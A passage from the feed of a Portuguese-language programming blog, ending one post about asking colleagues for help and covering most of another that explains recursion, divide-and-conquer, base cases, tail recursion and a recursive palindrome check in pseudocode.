    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEAv/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAGNkmZXE4f/xAAZEAADAQEBAAAAAAAAAAAAAAAAAQMSEQL/2gAIAQEAAQUCn6yQrmjfXpjZ1n//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAaEAACAgMAAAAAAAAAAAAAAAABEAAhAjFB/9oACAEBAAY/AqqZk9BW3//EABsQAQEBAAIDAAAAAAAAAAAAAAEAESExUZHB/9oACAEBAAE/IdyJFhz7LUU5bHpSKavufI3/2gAMAwEAAgADAAAAEAAv/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQMBAT8Qqv/EABYRAQEBAAAAAAAAAAAAAAAAAAARMf/aAAgBAgEBPxDUf//EABoQAQADAQEBAAAAAAAAAAAAAAEAESFBUcH/2gAIAQEAAT8QUBiJXswkzPeiprMiqjsEFC3aZZypstYy19p//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Will Smith em Eu sou a lenda&quot;
        title=&quot;Nem Will Smith aguenta sozinho (looper.com)&quot;
        src=&quot;/static/60d3d6498dc690335ad21ed3276d3957/212bf/help-i-am-legend.jpg&quot;
        srcset=&quot;/static/60d3d6498dc690335ad21ed3276d3957/7809d/help-i-am-legend.jpg 192w,
/static/60d3d6498dc690335ad21ed3276d3957/4ecad/help-i-am-legend.jpg 384w,
/static/60d3d6498dc690335ad21ed3276d3957/212bf/help-i-am-legend.jpg 768w,
/static/60d3d6498dc690335ad21ed3276d3957/be796/help-i-am-legend.jpg 780w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Nem Will Smith aguenta sozinho (looper.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Mas a competividade no setor de Tecnologia da Informação é alta, e isso pode resultar em ambientes tóxicos. Empresas que não te permitem errar, que possuem um sistema de evolução de carreira baseado somente em avaliações 360 e produtividade, ou colegas de trabalho que pecam em &lt;em&gt;soft skills&lt;/em&gt; com um &quot;como é que você não sabe isso?&quot;. Pedir ajuda em um ambiente como esse não é nada atrativo, e o empenho de resolver um problema sozinho pode parecer mais recompensador.&lt;/p&gt;
&lt;p&gt;Mas a dura realidade é que, mesmo que você sobreviva ao &lt;em&gt;outbreak&lt;/em&gt; zumbi, você não seria capaz de fabricar um lápis sozinho.&lt;/p&gt;
&lt;h2&gt;Help!&lt;/h2&gt;
&lt;p&gt;Como eu resolvi o meu problema? Pedindo ajuda, claro.&lt;/p&gt;
&lt;p&gt;Tenho o privilégio de trabalhar na Dinamarca atualmente, um país com níveis de &lt;em&gt;work-life balance&lt;/em&gt; impressionantes. Grande parte dos meus colegas de trabalho têm por filosofia de vida o &quot;existe vida lá fora&quot; com pitadas de &quot;não se leve tão a sério&quot; e &quot;você não é o seu crachá&quot;. O que resulta em um ambiente de trabalho relativamente leve, te dando segurança para mostrar suas vulnerabilidades, e de aprender com os próprios erros.&lt;/p&gt;
&lt;p&gt;Ser vulnerável não é algo ruim. Sair da zona de conforto e &quot;lutar a boa luta&quot; exige energia, exige movimento, proatividade. Quebre esse círculo vicioso da insegurança e peça ajuda!&lt;/p&gt;
&lt;h2&gt;Antes de ir&lt;/h2&gt;
&lt;p&gt;A grande lição que fica disso é que, ao se levar muito a sério, você deixa de fazer algo que deveria ser muito comum no meio &lt;em&gt;Agile&lt;/em&gt;: Errar.&lt;/p&gt;
&lt;p&gt;Se você estiver nadando em um mar de angústia e ansiedade, espero que esse depoimento te motive a quebrar o círculo vicioso, e a pedir ajuda. Não há &quot;desonra&quot; nisso, e bobear você aprende algo novo por tabela.&lt;/p&gt;
&lt;p&gt;Permita-se &quot;ligar o fod*-se&quot; de vez em quando.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.boanoiteinternet.com.br/&quot;&gt;Boa Noite Internet - Um podcast procurando respostas&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Recursividade e o "dividir e conquistar"]]></title><description><![CDATA[Sabe aquelas pessoas que têm problemas em determinar qual lado é o "esquerdo" e qual lado é o "direito"?
Admito, sem orgulho algum, que…]]></description><link>https://klauslaube.com.br/2019/03/25/recursividade-e-dividir-e-conquistar.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/03/25/recursividade-e-dividir-e-conquistar.html</guid><pubDate>Mon, 25 Mar 2019 18:55:00 GMT</pubDate><content:encoded>&lt;p&gt;Sabe aquelas pessoas que têm problemas em determinar qual lado é o &quot;esquerdo&quot; e qual lado é o &quot;direito&quot;?
Admito, sem orgulho algum, que tenho o mesmo problema com recursividade. Meu cérebro simplesmente se embaralha,
e preciso fazer um grande esforço para imaginar o que está acontecendo.&lt;/p&gt;
&lt;p&gt;A boa notícia é que assim como usar a mão do relógio (ou a mão que você escreve) ajuda a determinar o que é esquerda e direita, é possível utilizar alguns padrões de escrita de código para ajudar a entender o que está acontecendo em um algoritmo com recursividade.&lt;/p&gt;
&lt;p&gt;Mas como só a receita de bolo não basta... senta que lá vem história.&lt;/p&gt;
&lt;h2&gt;Napoleão style!&lt;/h2&gt;
&lt;p&gt;O &quot;Dividir e Conquistar&quot; (ou &lt;em&gt;Divide and Conquer&lt;/em&gt;), assim como os &lt;a href=&quot;/2019/01/27/os-greedy-algorithms.html&quot; title=&quot;Os Greedy algorithms&quot;&gt;&lt;em&gt;Greedy algorithms&lt;/em&gt;&lt;/a&gt;, é um paradigma para construção de algoritmos (&lt;em&gt;algorithmic paradigm&lt;/em&gt;), onde a ideia é resolver um determinado problema utilizando três passos diferentes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dividir: Quebre um determinado problema em subproblemas do mesmo tipo;&lt;/li&gt;
&lt;li&gt;Conquistar: Resolva esses subproblemas de forma recursiva;&lt;/li&gt;
&lt;li&gt;Combinar: Combine as respostas apropriadamente.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Algoritmos de ordenação famosos, como o &lt;em&gt;Quicksort&lt;/em&gt; e o &lt;em&gt;Merge Sort&lt;/em&gt;, utilizam esse paradigma para apresentar soluções com performance ótima.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/4f305a9c1529024471828ae2df1570c7/b4294/divide-and-conquer-napoleon.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAwX/xAAWAQEBAQAAAAAAAAAAAAAAAAACAAP/2gAMAwEAAhADEAAAAbTNbzUCQr//xAAaEAACAgMAAAAAAAAAAAAAAAAAAgETBBEz/9oACAEBAAEFArlJaxWbUmOP0//EABYRAQEBAAAAAAAAAAAAAAAAAAAREv/aAAgBAwEBPwGMv//EABgRAAMBAQAAAAAAAAAAAAAAAAABEQIS/9oACAECAQE/AVquHR//xAAbEAACAQUAAAAAAAAAAAAAAAAAAgEQISIxcf/aAAgBAQAGPwLZjJejDdP/xAAbEAABBQEBAAAAAAAAAAAAAAABABEhQXEQMf/aAAgBAQABPyEiLGWIzkbzSfxAoXvAj63X/9oADAMBAAIAAwAAABAPH//EABYRAQEBAAAAAAAAAAAAAAAAAAEAEf/aAAgBAwEBPxDIbAS//8QAFREBAQAAAAAAAAAAAAAAAAAAAQD/2gAIAQIBAT8QWChv/8QAGhABAAMBAQEAAAAAAAAAAAAAAQARITFBUf/aAAgBAQABPxDjg7SalbIKgVQVdH2NrUJxfpO7YBs//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Napeleon sentado no sofá&quot;
        title=&quot;Não! Não esse Napoleon... (youtube.com)&quot;
        src=&quot;/static/4f305a9c1529024471828ae2df1570c7/b4294/divide-and-conquer-napoleon.jpg&quot;
        srcset=&quot;/static/4f305a9c1529024471828ae2df1570c7/7809d/divide-and-conquer-napoleon.jpg 192w,
/static/4f305a9c1529024471828ae2df1570c7/4ecad/divide-and-conquer-napoleon.jpg 384w,
/static/4f305a9c1529024471828ae2df1570c7/b4294/divide-and-conquer-napoleon.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não! Não esse Napoleon... (youtube.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Compreender essa estrutura é um bom passo para dominar funções recursivas. Na verdade, a utilização de recursividade parte do princípio que você seja capaz de quebrar um grande problema em problemas menores (e semelhantes). No fim, os dois conceitos se completam e é difícil imaginar um sem o outro. O &lt;a href=&quot;https://www.tutorialspoint.com/data_structures_algorithms/divide_and_conquer.htm&quot; title=&quot;Data Structures - Divide and Conquer&quot;&gt;&lt;em&gt;tutorialspoint&lt;/em&gt;&lt;/a&gt; reforça essa idea:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In divide and conquer approach, the problem in hand, is divided into smaller sub-problems and then each problem is solved independently. When we keep on dividing the subproblems into even smaller sub-problems, we may eventually reach a stage where no more division is possible. Those &quot;atomic&quot; smallest possible sub-problem (fractions) are solved. The solution of all sub-problems is finally merged in order to obtain the solution of an original problem.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Não será surpresa se vermos a mesma receita se repetir pelo resto desse &lt;em&gt;post&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Uma função que chama a si mesmo&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;https://pt.wikibooks.org/wiki/Algoritmos_e_Estruturas_de_Dados/Recursividade&quot; title=&quot;Algoritmos e Estruturas de Dados/Recursividade&quot;&gt;&lt;em&gt;Wikibooks&lt;/em&gt;&lt;/a&gt; explica de forma muito clara o que é recursividade:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Recursão é um método de programação no qual uma função pode chamar a si mesma. O termo é usado de maneira mais geral para descrever o processo de repetição de um objeto de um jeito similar ao que já fora mostrado. Muitos problemas em computação tem a propriedade de que cada instância sua contém uma instância menor do mesmo problema.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em termos mais práticos, é como se criássemos uma função para fatorar, e essa função chamasse a ela mesma:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;FUNÇÃO fatorial(numero)
    RETORNE numero * fatorial(numero - 1)
FIM&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos fazer um rápido teste de mesa. Imagine que queremos saber o fatorial de 3:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;fatorial(3)&lt;/code&gt;: Retorna &lt;code class=&quot;language-text&quot;&gt;3 * fatorial(2)&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;fatorial(2)&lt;/code&gt;: Retorna &lt;code class=&quot;language-text&quot;&gt;2 * fatorial(1)&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Por intuição (falaremos mais sobre esse passo a seguir), assumimos que &lt;code class=&quot;language-text&quot;&gt;fatorial(1) == 1&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A função chama a si mesma recursivamente em uma versão menor da entrada (&lt;code class=&quot;language-text&quot;&gt;n - 1&lt;/code&gt;), e multiplica o resultado por &lt;code class=&quot;language-text&quot;&gt;numero&lt;/code&gt;. Podemos visualizar o resultado desse comportamento ao fazer o caminho &quot;de baixo para cima&quot; na lista acima: &lt;code class=&quot;language-text&quot;&gt;1 * 2 * 3 = 6&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/aab18e08c8f881190c73d853f5090ed3/50383/recursion-russian-doll.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiklEQVQozzWRWU8TURSAJz5BwmI7vXPvnTsznZmOtdSWpdRYxULagmDZCUgbYsuDaFADErCohUjiUgMqkLiCWwzRBMMuXai0QYiEiL6Y+GLiP9Doiy++OJiQnKeT853vLFQrpGsZ+gICgwpulEGjAr0i45VxpK3p4+PI19nnXeUldVbFDnJvlcp9xfwzj+GalWsGdDsLqA6sO4fBRRnVCrRNl1vCavM1WZOB+u3711M3+v5+Wf+5Hv/+ZsItolMW1CyDfjs37VHaGF0QA+oqYcZ5NGRme/LZBgl4RVhM57zqDiZGwpPng9uzL79tJD9P3DlKgFcPuguE0TJ5ttIQkmAdoKnXArrHw5DN4JCgnejcAjymh2ZGW2YgLgOpMZISrLEyWo8AzhTwlWpyPxmtME8ZSRPQUgs8muDgFYPenp3l5JDPSOokUMHRJ8zy4lBPdGTQV5R3GGt6bdzNUmnIbbbt1Q5IwpJIHhKGesvBaQLnWGaT4Kk8oVoETqxxEhAb6ExHQr+303824x1HCv2yNuwQ0y3WNZGsEmaOg/M8opYJjBMUJfA9YsZMxGXElQoJWITL9a7BBlf4ZMuloM9vkVtNXMAmPa0yrsl4mYWLHFT5HbMKxwlcY+EjHrfwbO9Bc6eVHMjNPI5zqkCGKWNPs0QPl5vbTfKwnqR4rPoWeTjPoR04RtDKTsAUy2xxaNzAeiVQI8G7/uq58Fmf3aL+/7Zb2bDqVxmgFsc4qFIL3O7YKvmOhUkWRgXUsQ86QHaXs+jTWPjXh+jWk9FylNPvEBJuJY5hnEMxAtU1l3hIqZ0SBCX/k2kMZwQUMEKfRPsLlZXQ6R+xmdSDiEeX2X9I/8IhJglM7N5Ilf8DpovB4B2EEQcAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Imagem ilustrando a recursão&quot;
        title=&quot;Duas referências no mesmo post. Ousado! (mashable.com)&quot;
        src=&quot;/static/aab18e08c8f881190c73d853f5090ed3/50383/recursion-russian-doll.png&quot;
        srcset=&quot;/static/aab18e08c8f881190c73d853f5090ed3/8514f/recursion-russian-doll.png 192w,
/static/aab18e08c8f881190c73d853f5090ed3/804b2/recursion-russian-doll.png 384w,
/static/aab18e08c8f881190c73d853f5090ed3/50383/recursion-russian-doll.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Duas referências no mesmo post. Ousado! (mashable.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Roubamos no exemplo anterior, quando dissemos que por intuição sabemos o resultado da última etapa. &quot;Intuição&quot; não funciona do ponto de vista do algoritmo, e acabaríamos com um &lt;em&gt;loop&lt;/em&gt; infinito, uma vez que não informamos em qual momento a função tem que parar de chamar a si mesma. O caso acima, se executado em uma linguagem de programação, vai resultar no famoso &lt;a href=&quot;http://ptcomputador.com/P/computer-programming-languages/88738.html&quot; title=&quot;O que é o estouro de pilha&quot;&gt;estouro de pilha&lt;/a&gt; (ou &lt;a href=&quot;https://pt.stackoverflow.com/questions/59135/erro-stackoverflow&quot; title=&quot;Erro stack overflow no StackOverflow&quot;&gt;&lt;em&gt;stack overflow&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Precisamos adicionar o que é conhecido por &quot;caso base&quot; (ou &quot;condição de parada&quot;) ao algoritmo. É esse caso que vai determinar quando a função deve parar:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;FUNÇÃO fatorial(numero)
    SE numero &amp;lt;= 1 ENTÃO
        RETORNE 1
    SENÃO
        RETORNE numero * fatorial(numero - 1)
FIM&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Podemos refazer o nosso teste de mesa:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;fatorial(3)&lt;/code&gt;: Retorna &lt;code class=&quot;language-text&quot;&gt;3 * fatorial(2)&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;fatorial(2)&lt;/code&gt;: Retorna &lt;code class=&quot;language-text&quot;&gt;2 * fatorial(1)&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;fatorial(1)&lt;/code&gt;: Retorna &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;É possível perceber uma estrutura que costuma se repetir em outros algoritmos que utilizam recursão:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Um número limitado de casos base;&lt;/li&gt;
&lt;li&gt;Um caso recursivo;&lt;/li&gt;
&lt;li&gt;Uma chamada externa (ex.: &lt;code class=&quot;language-text&quot;&gt;fatorial(3)&lt;/code&gt;);&lt;/li&gt;
&lt;li&gt;Um conjunto de chamadas recursivas (ex.: &lt;code class=&quot;language-text&quot;&gt;fatorial(3 - 1)&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tail recursion&lt;/h2&gt;
&lt;p&gt;Voltando ao exemplo &lt;code class=&quot;language-text&quot;&gt;fatorial(3)&lt;/code&gt;, uma melhor leitura da ordem de chamada seria a seguinte:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;fatorial(3)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;3 * fatorial(2)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;3 * (2 * fatorial(1))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;3 * (2 * (1))&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cada linha cria um &lt;a href=&quot;https://stackoverflow.com/questions/10057443/explain-the-concept-of-a-stack-frame-in-a-nutshell&quot; title=&quot;Explain the concept of a stack frame in a nutshell&quot;&gt;&lt;em&gt;stack frame&lt;/em&gt;&lt;/a&gt;, que é empilhado de acordo com a ordem das chamadas. Ao fim da última chamada recursiva, os &lt;em&gt;frames&lt;/em&gt; são retirados gradativamente da pilha, como ilustrado no exemplo abaixo:&lt;/p&gt;
&lt;p&gt;{% img align-center-keep-size /images/blog/javascript-stack-example.png 740 243 Exemplo de call stack em Javascript (thinkingincrowd.me) %}&lt;/p&gt;
&lt;p&gt;Uma função recursiva é &lt;em&gt;tail recursive&lt;/em&gt; quando a chamada recursiva é a última coisa executada pela função. No nosso exemplo, temos uma função que aparentemente possui essa característica. Porém, não é certo dizer que ela possui de fato recursão de cauda, uma vez que temos que considerar que &lt;code class=&quot;language-text&quot;&gt;fatorial(numero - 1)&lt;/code&gt; é usado dentro de &lt;code class=&quot;language-text&quot;&gt;fatorial(numero)&lt;/code&gt;. O exemplo abaixo passa a ideia de que a chamada da função não é a última coisa executada no &lt;em&gt;frame&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chamada inicial: &lt;code class=&quot;language-text&quot;&gt;fatorial(3)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 1: &lt;code class=&quot;language-text&quot;&gt;3 * fatorial(2)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 2: &lt;code class=&quot;language-text&quot;&gt;3 * (2 * fatorial(1))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 3: Atinge caso base em &lt;code class=&quot;language-text&quot;&gt;fatorial(1)&lt;/code&gt; e retorna &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 2: &lt;code class=&quot;language-text&quot;&gt;3 * (2 * (1))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 1: &lt;code class=&quot;language-text&quot;&gt;3 * (2)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Retorno da chamada inicial: &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Segundo o &lt;a href=&quot;https://www.geeksforgeeks.org/tail-recursion/&quot; title=&quot;Tail Recursion&quot;&gt;GeeksForGeeks&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Consider the (...) function to calculate factorial of n. It is a non-tail-recursive function. Although it looks like a tail recursive at first look. If we take a closer look, we can see that the value returned by fact(n-1) is used in fact(n), so the call to fact(n-1) is not the last thing done by fact(n)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;É preciso fazer uma manutenção no corpo da função:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;FUNÇÃO fatorial-interna(numero, acumulador)
    SE numero == 0 ENTÃO
        RETORNE acumulador
    SENÃO
        RETORNE fatorial-interna(numero - 1, numero * acumulador)

FUNÇÃO fatorial(numero)
    RETORNE fatorial-interna(numero, 1)
FIM&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como resultado, teremos um &lt;em&gt;call stack&lt;/em&gt; diferente:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chamada inicial: &lt;code class=&quot;language-text&quot;&gt;fatorial(3)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 1: &lt;code class=&quot;language-text&quot;&gt;fatorial-interna(3, 1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 2: &lt;code class=&quot;language-text&quot;&gt;fatorial-interna(2, 3)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 3: &lt;code class=&quot;language-text&quot;&gt;fatorial-interna(1, 6)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 4: Atinge caso base em &lt;code class=&quot;language-text&quot;&gt;fatorial-interna(0, 6)&lt;/code&gt; e retorna &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 3: Retorno de &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 2: Retorno de &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 1: Retorno de &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Retorno da chamada inicial: &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Qual a real motivação em utilizar funções com recursão de cauda? Esse tipo de função pode ser otimizada pelo interpretador/compilador, portanto, o seu uso é encorajado em &lt;a href=&quot;https://www.quora.com/Which-programming-languages-support-tail-recursion-optimization-out-of-the-box%22%0AWhich%20programming%20languages%20support%20tail%20recursion%20optimization%20out%20of%20the%20box?%22&quot;&gt;linguagens que suportam essa funcionalidade&lt;/a&gt;. De forma bem resumida, uma vez que a chamada recursiva é o último &quot;statement&quot;, não há nada mais para ser executado pela função corrente, podendo utilizar o mesmo &lt;em&gt;stack frame&lt;/em&gt;, &lt;a href=&quot;https://www.geeksforgeeks.org/tail-call-elimination/&quot; title=&quot;Tail Call Elimination&quot;&gt;minimizando o esforço de empilhar e desempilhar chamadas&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chamada inicial: &lt;code class=&quot;language-text&quot;&gt;fatorial(3)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 1: &lt;code class=&quot;language-text&quot;&gt;fatorial-interna(3, 1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 1: &lt;code class=&quot;language-text&quot;&gt;fatorial-interna(2, 3)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 1: &lt;code class=&quot;language-text&quot;&gt;fatorial-interna(1, 6)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Frame 1: Atinge caso base em &lt;code class=&quot;language-text&quot;&gt;fatorial-interna(0, 6)&lt;/code&gt; e retorna &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Retorno da chamada inicial: &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Na prática&lt;/h2&gt;
&lt;p&gt;Vamos para uma abordagem mais prática, e para esse bloco, nada melhor que um dos desafios mais populares em entrevistas de emprego: Determinar se uma palavra é palíndromo.&lt;/p&gt;
&lt;p&gt;Segundo o &lt;a href=&quot;https://www.todamateria.com.br/palindromo/&quot; title=&quot;Palíndromo&quot;&gt;TodaMatéria&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Palíndromo, do grego palin (novo) e dromo (percurso), é toda palavra ou frase que pode ser lida de trás pra frente e que, independente da direção, mantém o seu sentido.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Vamos nos ater apenas à palavra. Utilizando a ideia de dividir e conquistar, é possível imaginar o seguinte algoritmo:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dividir:&lt;/strong&gt; Recebo determinada palavra, ou qualquer fração da mesma (exemplo: &lt;code class=&quot;language-text&quot;&gt;arara&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;rar&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;a&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conquistar:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Se a largura da palavra for igual a &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt; (exemplo: &lt;code class=&quot;language-text&quot;&gt;a&lt;/code&gt;), é palíndromo. Esse é um caso base;&lt;/li&gt;
&lt;li&gt;Senão, se primeira e última letra da palavra forem diferentes (exemplo: &lt;code class=&quot;language-text&quot;&gt;araro&lt;/code&gt;), não é palíndromo. Esse é o segundo caso base;&lt;/li&gt;
&lt;li&gt;Senão, retiramos a primeira e última letra da palavra, e passamos a nova palavra como parâmetro recursivamente (exemplo: &lt;code class=&quot;language-text&quot;&gt;rar&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
